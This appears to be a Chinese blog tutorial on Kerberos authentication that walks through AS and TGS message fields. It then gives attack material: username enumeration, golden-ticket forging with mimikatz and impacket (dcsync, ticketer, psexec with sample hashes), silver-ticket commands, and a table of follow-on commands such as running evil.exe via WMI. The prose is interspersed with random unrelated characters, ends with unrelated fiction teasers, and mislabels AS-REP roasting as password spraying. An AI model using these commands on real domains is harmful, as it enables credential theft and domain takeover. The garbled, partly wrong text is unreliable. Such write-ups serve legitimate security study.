kerbeos認(rèn)證學(xué)習(xí)

1.什么是kerbeos

Kerberos 由以下三部分組成:客戶機(jī)琉雳、服務(wù)器以及可信的第三方(稱為 Kerberos 密鑰分發(fā)中心,KDC)友瘤。KDC 提供認(rèn)證和憑單授予服務(wù)翠肘。

KDC 為其領(lǐng)域中所有安全性主體維護(hù)用戶帳戶的數(shù)據(jù)庫或存儲庫。大量 Kerberos 分發(fā)操作對 Kerberos 主體和策略 DB 使用基于文件的存儲庫辫秧,其他分發(fā)操作使用輕量級目錄訪問協(xié)議 (LDAP) 作為存儲庫束倍。

Kerberos 不支持任何概念的組(即,iKey 組或者用戶或主體組)盟戏。KDC 為其帳戶數(shù)據(jù)庫中每個(gè)主體維護(hù)長期密鑰绪妹。此長期密鑰派生自該主體的密碼。僅該主體表示的 KDC 和用戶應(yīng)該知道該長期密鑰或密碼的內(nèi)容柿究。

kerberos的簡化認(rèn)證認(rèn)證過程:


image-20220314111059199.png

圖示詳解:

  1. AS_REQ: Client向KDC發(fā)起AS_REQ,請求憑據(jù)是Client hash加密的時(shí)間戳
  2. AS_REP: KDC使用Client hash進(jìn)行解密邮旷,如果結(jié)果正確就返回用krbtgt hash加密的TGT票據(jù),TGT里面包含PAC,PAC包含Client的sid蝇摸,Client所在的組婶肩。
  3. TGS_REQ: Client憑借TGT票據(jù)向KDC發(fā)起針對特定服務(wù)的TGS_REQ請求
  4. TGS_REP: KDC使用krbtgt hash進(jìn)行解密,如果結(jié)果正確貌夕,就返回用服務(wù)hash 加密的TGS票據(jù)(這一步不管用戶有沒有訪問服務(wù)的權(quán)限律歼,只要TGT正確,就返回TGS票據(jù))
  5. AP_REQ: Client拿著TGS票據(jù)去請求服務(wù)
  6. AP_REP: 服務(wù)使用自己的hash解密TGS票據(jù)啡专。如果解密正確险毁,就拿著PAC去KDC那邊問Client有沒有訪問權(quán)限,域控解密PAC。獲取Client的sid畔况,以及所在的組鲸鹦,再根據(jù)該服務(wù)的ACL,判斷Client是否有訪問服務(wù)的權(quán)限问窃。

2.AS_REQ & AS_REP

這里利用的是daiker大佬的工具

2.1.AS_REQ

用戶向KDC發(fā)起AS_REQ亥鬓,請求憑據(jù)是用戶hash加密的時(shí)間戳。請求憑據(jù)放在PA_DATA里面域庇。


image-20220315135505092.png

這里解釋一下AS_REQ中的各個(gè)字段

2.1.1.pvno

kerberos 版本號

2.1.2.msg-type

Kerberos類型 0x0a對應(yīng)krb-as-req

2.1.3.padata

padata 存放了PA-ENC-TIMESTAMP和PA-PAC-REQUEST

PA-ENC-TIMESTAMP是預(yù)認(rèn)證嵌戈,使用用戶hash加密時(shí)間戳,作為value 發(fā)送給AS服務(wù)器听皿。如果可以解密成功熟呛,且時(shí)間戳在一定的范圍內(nèi),則認(rèn)證通過

PA-PAC-REQUEST是微軟引入的PAC拓展尉姨,PAC本身并不在kerberos里面庵朝,include-pac=true,KDC會根據(jù)include的值來判斷返回的票據(jù)中是否攜帶PAC又厉。


image-20220315140057641.png

2.1.4.REQ_BODY

  • cname&sname

    在AS_REQ里面cname 是請求的用戶九府,這個(gè)用戶名存在和不存在,返回的包有差異覆致,可以用于枚舉域內(nèi)用戶名侄旬。在AS_REQ里面sname是krbtgt,類型是KRB_NT_SRV_INST

  • realm

    域名

  • from&till

    from為發(fā)送時(shí)間煌妈,till為結(jié)束時(shí)間儡羔,值得注意的是rubeus和kekeo都是20370913024805Z,這個(gè)可以作為特征來檢測某些工具璧诵。


    image-20220315141039739.png
  • etype

    加密類型

2.2.AS_REP

KDC使用用戶 hash進(jìn)行解密汰蜘,如果結(jié)果正確返回用krbtgt hash加密的TGT票據(jù),TGT里面包含PAC之宿,PAC包含用戶的sid族操,用戶所在的組。


image-20220315141535505.png

image-20220315141708674.png

2.2.1.msg-type

AS_REQ的響應(yīng)body對應(yīng)的就是KRB_AS_REP(0x0b)

2.2.2.crealm

域名

2.2.3.cname

用戶名以及用戶類型

2.2.4.ticket

這個(gè)ticket用于TGS_REQ的認(rèn)證澈缺,是被加密的坪创,用戶不可讀取里面的內(nèi)容。在AS_REQ請求里面姐赡,是使用krbtgt的hash進(jìn)行加密的莱预,因此如果我們擁有krbtgt的hash就可以自己制作一個(gè)ticket,既黃金票據(jù)项滑。

image-20220315142129877.png

2.2.5.enc_part

Enc_part是可以解密的依沮,key是用戶hash,解密后得到Encryptionkey,Encryptionkey里面最重要的字段是session key危喉,也就是下圖中的keyvalue部分宋渔,改部分作為下階段的認(rèn)證密鑰。


image-20220315143845779.png

3.存在的問題

3.1.用戶枚舉

用戶存在但密碼錯(cuò)誤時(shí):


image-20220315144820874.png

用戶不存在時(shí):


image-20220315144924780.png

這個(gè)其實(shí)很好理解辜限,在我們沒有域用戶的情況下皇拣,可以通過修改cname進(jìn)行用戶枚舉,如果有域用戶薄嫡,那么直接通過LDAP查詢活動目錄即可氧急,如果我們的權(quán)限是system的話,那么他的也是可以直接通過LDAP查詢活動目錄的毫深,而此時(shí)的憑證信息吩坝,就是這臺機(jī)器的機(jī)器用戶,也就是機(jī)器名加$

3.2.AS-REPRoasting

默認(rèn)情況下哑蔫,域賬戶的登錄錯(cuò)誤次數(shù)是有限的钉寝,那么我們可以通過“密碼噴灑(Password Spraying)”的形式去擴(kuò)大成果。具體實(shí)現(xiàn)很容易闸迷,用同一額帶有密碼強(qiáng)度的弱口令去跑用戶名嵌纲。

3.3.黃金票據(jù)

在AS_REP里面的ticket的encpart是使用krbtgt的hash進(jìn)行加密的,如果我們擁有krbtgt的hash腥沽,就可以給我們自己簽發(fā)任意用戶的TGT票據(jù)疹瘦,這個(gè)票據(jù)也被稱為黃金票據(jù)。一般用于拿下域權(quán)限后的權(quán)限維持巡球,只要管理員不修改 krbtgt 的密碼,則可以隨時(shí)制造 TGT 進(jìn)入邓嘹。

工具(僅列出了與金票相關(guān)的命令):

  • 使用 mimikatz 制作金票
# Get info - Mimikatz
mimikatz # privilege::debug
mimikatz # lsadump::dcsync /user:krbtgt
mimikatz # lsadump::lsa /inject /name:krbtgt

# Forge a Golden ticket - Mimikatz
mimikatz # kerberos::purge // 清除票據(jù)

mimikatz # kerberos::golden /user:evil /domain:pentestlab.local /sid:S-1-5-21-3737340914-2019594255-2413685307 /krbtgt:d125e4f69c851529045ec95ca80fa37e /ticket:evil.tck /ptt

mimikatz # kerberos::tgt
/admin 偽造的用戶名
/domain 域名稱
/sid 域SID
/krbtgt krbtgt的HASH值
/ticket 生成的票據(jù)名稱

mimikatz # kerberos::ptt ticket.kirbi        // 導(dǎo)入票據(jù)

cmd > klist // 查看當(dāng)前有的票據(jù)

cmd > klist purge // 清除所有票據(jù)
  • 使用 impacket 套件制作金票

首先 secretsdump.py 獲取 krbtgt hash酣栈。
secretsdump.py domain/username@targetName -just-dc-user krbtgt

使用 lookupsid.py 查看 域 SID⌒谘海或者 whoami /all 等方式自行截取矿筝。
lookupsid.py domain/username:password@targetName -domain-sids

在 linux 上使用票據(jù),用 impacket 中的 ticketer.py 來制作棚贾。需要注意的是用 mimikatz窖维,kekeorubeus生成的憑據(jù)是以 .kirbi 后綴的妙痹。impacket生成的憑據(jù)的后綴是 .ccache铸史。如果需要在 linux上使用票據(jù),則需要轉(zhuǎn)為.ccache 格式

# Convert the ticket kirbi to ccache with kekeo
mimikatz > misc::convert ccache ticket.kirbi

# Alternatively you can use ticketer from Impacket
./ticketer.py -nthash a577fcf16cfef780a2ceb343ec39a0d9 -domain-sid S-1-5-21-2972629792-1506071460-1188933728 -domain amity.local mbrody-da

ticketer.py -nthash HASHKRBTGT -domain-sid SID_DOMAIN_A -domain DEV Administrator -extra-sid SID_DOMAIN_B_ENTERPRISE_519
./ticketer.py -nthash e65b41757ea496c2c60e82c05ba8b373 -domain-sid S-1-5-21-354401377-2576014548-1758765946 -domain DEV Administrator -extra-sid S-1-5-21-2992845451-2057077057-2526624608-519

export KRB5CCNAME=/home/user/ticket.ccache
cat $KRB5CCNAME

# NOTE: You may need to comment the proxy_dns setting in the proxychains configuration file
./psexec.py -k -no-pass -dc-ip 192.168.1.1 AD/administrator@192.168.1.100 

ticketConverter.py 轉(zhuǎn)換兩種格式

python ticketConverter.py velociraptor.ccache velociraptor.kirbi
Converting ccache => kirbi

python ticketConverter.py velociraptor.kirbi velociraptor.ccache
Converting kirbi => ccache

4.TGS_REQ & TGS_REP

在TGS_REQ & TGS_REP階段怯伊,用戶通過AS_REP拿到的TGT票據(jù)琳轿,去向KDC申請?zhí)囟ǚ?wù)的訪問權(quán)限,KDC校驗(yàn)TGT票據(jù),如果校驗(yàn)通過的話崭篡,會向用戶發(fā)送一個(gè)TGS票據(jù)挪哄,之后用戶再拿著TGS去訪問特定的服務(wù)。TGS_REQ這個(gè)階段不需要賬號密碼琉闪,需要AS_REP獲取到的TGT憑據(jù)迹炼。

4.1.TGS_REQ

image-20220315153933217.png

在TGS_REQ請求中需要ap-req字段,這部分包含了tgt里的信息颠毙,kdc以此校驗(yàn)tgt斯入,正確則返回tgs票據(jù)。

4.1.1.PA-DATA

正常的TGS_REQ的請求需要用到的吟秩,具體內(nèi)容梗概:

  • AP_REQ

    這個(gè)是TGS_REQ必須攜帶的部分咱扣,從AS_REP階段獲取到的TGT票據(jù)就這個(gè)結(jié)構(gòu)體里面。KDC會校驗(yàn)TGT票據(jù)涵防,如果票據(jù)正確闹伪,就返回對應(yīng)服務(wù)的TGS票據(jù)。


    image-20220316091443768.png

    PA_FOR_USER

類型是S4U2SELF壮池,值是一個(gè)唯一的標(biāo)識符偏瓤,該標(biāo)識符指示用戶的身份。該唯一標(biāo)識符由用戶名和域名組成椰憋。

S4U2proxy 必須擴(kuò)展PA_FOR_USER結(jié)構(gòu)厅克,指定服務(wù)代表某個(gè)用戶(圖片里面是administrator)去請求針對服務(wù)自身的kerberos服務(wù)票據(jù)。


image-20220316092346512.png

PA_PAC_OPTIONS

微軟的MS-SFU 2.2.5橙依, S4U2proxy 必須擴(kuò)展PA-PAC-OPTIONS結(jié)構(gòu)证舟。

如果是基于資源的約束委派,就需要指定Resource-based Constrained Delegation位窗骑。


image-20220316092501750.png

4.1.2.REQ_BODY

  • sname

    這里指定要訪問的具體服務(wù)名稱女责,TGS_REP獲得的ticket是用該服務(wù)用戶的hash進(jìn)行加密的。如果指定的服務(wù)是krbtgt创译,那么拿到的TGS票據(jù)是可以當(dāng)做TGT票據(jù)用的抵知。


    image-20220316092704263.png
  • AddtionTicket

附加票據(jù),在S4U2proxy請求里面软族,既需要正常的TGT刷喜,也需要S4U2self階段獲取到的TGS,那么這個(gè)TGS就添加到AddtionTicket里面立砸。


image-20220316092817854.png

4.2.TGS_REP

Kdc校驗(yàn)用戶提交的TGT為正確后掖疮,會返回對應(yīng)服務(wù)的tgs票據(jù),用來進(jìn)行下一步的AP_REQ認(rèn)證


image-20220316093151732.png

4.2.1.ticket

這個(gè)ticket用于AP_REQ的認(rèn)證颗祝。其中里面的enc_part是加密的氮墨,用戶不可讀取里面的內(nèi)容纺蛆。在AS_REQ請求里面是,enc_part是使用krbtgt的hash進(jìn)行加密的规揪,而在TGS_REQ里面是使用要請求的服務(wù)的hash加密的桥氏。因此如果我們擁有服務(wù)的hash就可以自己制作一個(gè)ticket,既白銀票據(jù)猛铅。


image-20220316094115106.png

4.2.2.enc-part

image-20220316100112715.png

這部分是可以解密的字支,key是上一輪AS_REP里面返回的session_key,也就是導(dǎo)入憑據(jù)里面的 session_key奸忽,解密后得到encryptionkey堕伪,encryptionkey這個(gè)結(jié)構(gòu)里面最重要的字段也是session_key(但是這個(gè)session_key 不同于上一輪里面的session_key),用來作為作為下階段的認(rèn)證密鑰栗菜。


image-20220316100251702.png

5.存在的問題

5.1.pass the ticket

Kerbreos認(rèn)證中除了第一步AS_ERQ是使用用戶的hash加密時(shí)間戳進(jìn)行認(rèn)證的方式外欠雌,其他的驗(yàn)證過程都是通過票據(jù)來實(shí)現(xiàn),不同的是不同階段對應(yīng)的票據(jù)不同罷了疙筹。因?yàn)槠睋?jù)里面的內(nèi)容主要是session_key和ticket(使用服務(wù)hash加密的富俄,服務(wù)包括krbtgt),拿到票據(jù)之后而咆,可以用這個(gè)票據(jù)來作為下階段的驗(yàn)證了霍比。

5.2.白銀票據(jù)

在TGS_REP里面的ticket的encpart是使用服務(wù)的hash進(jìn)行加密的,如果我們擁有服務(wù)的hash暴备,就可以給我們自己簽發(fā)任意用戶的TGS票據(jù)悠瞬,這個(gè)票據(jù)也被稱為白銀票據(jù)。需要注意的是白銀票票據(jù)只能訪問特定服務(wù)涯捻。如果將目標(biāo)主機(jī)配置為驗(yàn)證 KDC的PAC簽名浅妆,則銀票將不起作用。優(yōu)勢是制作白銀票據(jù)不需要再和域控交互障癌,不會再域控上留下相關(guān)日志狂打。

白銀票據(jù)的申請需要目標(biāo)服務(wù)密碼 或 NTLM hash

# Create a ticket for the service
mimikatz $ kerberos::golden /user:USERNAME /domain:DOMAIN.FQDN /sid:DOMAIN-SID /target:TARGET-HOST.DOMAIN.FQDN /rc4:TARGET-MACHINE-NT-HASH /service:SERVICE

# Examples
mimikatz $ /kerberos::golden /domain:adsec.local /user:ANY /sid:S-1-5-21-1423455951-1752654185-1824483205 /rc4:ceaxxxxxxxxxxxxxxxxxxxxxxxxxxxxx /target:DESKTOP-01.adsec.local /service:cifs /ptt
mimikatz $ kerberos::golden /domain:jurassic.park /sid:S-1-5-21-1339291983-1349129144-367733775 /rc4:b18b4b218eccad1c223306ea1916885f /user:stegosaurus /service:cifs /target:labwws02.jurassic.park

# Then use the same steps as a Golden ticket
mimikatz $ misc::convert ccache ticket.kirbi

root@kali:/tmp$ export KRB5CCNAME=/home/user/ticket.ccache
root@kali:/tmp$ ./psexec.py -k -no-pass -dc-ip 192.168.1.1 AD/administrator@192.168.1.100 

對應(yīng)服務(wù)所需要的票據(jù)類型如下:

Service Type Service Silver Tickets Attack
WMI HOST + RPCSS wmic.exe /authority:"kerberos:DOMAIN\DC01" /node:"DC01" process call create "cmd /c evil.exe"
PowerShell Remoting HTTP + wsman New-PSSESSION -NAME PSC -ComputerName DC01; Enter-PSSession -Name PSC
WinRM HTTP + wsman New-PSSESSION -NAME PSC -ComputerName DC01; Enter-PSSession -Name PSC
Scheduled Tasks HOST schtasks /create /s dc01 /SC WEEKLY /RU "NT Authority\System" /IN "SCOM Agent Health Check" /IR "C:/shell.ps1"
Windows File Share (CIFS) CIFS dir \dc01\c$
LDAP operations including Mimikatz DCSyncdir \dc01\c$ LDAP lsadump::dcsync /dc:dc01 /domain:domain.local /user:krbtgt
Windows Remote Server Administration Tools RPCSS + LDAP + CIFS /
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末,一起剝皮案震驚了整個(gè)濱河市混弥,隨后出現(xiàn)的幾起案子,更是在濱河造成了極大的恐慌对省,老刑警劉巖蝗拿,帶你破解...
    沈念sama閱讀 219,270評論 6 508
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件,死亡現(xiàn)場離奇詭異蒿涎,居然都是意外死亡哀托,警方通過查閱死者的電腦和手機(jī),發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 93,489評論 3 395
  • 文/潘曉璐 我一進(jìn)店門劳秋,熙熙樓的掌柜王于貴愁眉苦臉地迎上來仓手,“玉大人胖齐,你說我怎么就攤上這事∷悦埃” “怎么了呀伙?”我有些...
    開封第一講書人閱讀 165,630評論 0 356
  • 文/不壞的土叔 我叫張陵,是天一觀的道長添坊。 經(jīng)常有香客問我剿另,道長,這世上最難降的妖魔是什么贬蛙? 我笑而不...
    開封第一講書人閱讀 58,906評論 1 295
  • 正文 為了忘掉前任雨女,我火速辦了婚禮,結(jié)果婚禮上阳准,老公的妹妹穿的比我還像新娘氛堕。我一直安慰自己,他們只是感情好野蝇,可當(dāng)我...
    茶點(diǎn)故事閱讀 67,928評論 6 392
  • 文/花漫 我一把揭開白布讼稚。 她就那樣靜靜地躺著,像睡著了一般浪耘。 火紅的嫁衣襯著肌膚如雪乱灵。 梳的紋絲不亂的頭發(fā)上,一...
    開封第一講書人閱讀 51,718評論 1 305
  • 那天七冲,我揣著相機(jī)與錄音痛倚,去河邊找鬼。 笑死澜躺,一個(gè)胖子當(dāng)著我的面吹牛蝉稳,可吹牛的內(nèi)容都是我干的。 我是一名探鬼主播掘鄙,決...
    沈念sama閱讀 40,442評論 3 420
  • 文/蒼蘭香墨 我猛地睜開眼耘戚,長吁一口氣:“原來是場噩夢啊……” “哼!你這毒婦竟也來了操漠?” 一聲冷哼從身側(cè)響起收津,我...
    開封第一講書人閱讀 39,345評論 0 276
  • 序言:老撾萬榮一對情侶失蹤,失蹤者是張志新(化名)和其女友劉穎浊伙,沒想到半個(gè)月后滔驾,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體隙袁,經(jīng)...
    沈念sama閱讀 45,802評論 1 317
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 37,984評論 3 337
  • 正文 我和宋清朗相戀三年,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了臣咖。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片吠昭。...
    茶點(diǎn)故事閱讀 40,117評論 1 351
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡饶套,死狀恐怖,靈堂內(nèi)的尸體忽然破棺而出肌割,到底是詐尸還是另有隱情,我是刑警寧澤帐要,帶...
    沈念sama閱讀 35,810評論 5 346
  • 正文 年R本政府宣布把敞,位于F島的核電站,受9級特大地震影響宠叼,放射性物質(zhì)發(fā)生泄漏先巴。R本人自食惡果不足惜,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 41,462評論 3 331
  • 文/蒙蒙 一冒冬、第九天 我趴在偏房一處隱蔽的房頂上張望伸蚯。 院中可真熱鬧,春花似錦简烤、人聲如沸剂邮。這莊子的主人今日做“春日...
    開封第一講書人閱讀 32,011評論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽挥萌。三九已至,卻和暖如春枉侧,著一層夾襖步出監(jiān)牢的瞬間引瀑,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 33,139評論 1 272
  • 我被黑心中介騙來泰國打工榨馁, 沒想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留憨栽,地道東北人。 一個(gè)月前我還...
    沈念sama閱讀 48,377評論 3 373
  • 正文 我出身青樓翼虫,卻偏偏與公主長得像屑柔,于是被迫代替她去往敵國和親。 傳聞我的和親對象是個(gè)殘疾皇子珍剑,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 45,060評論 2 355

推薦閱讀更多精彩內(nèi)容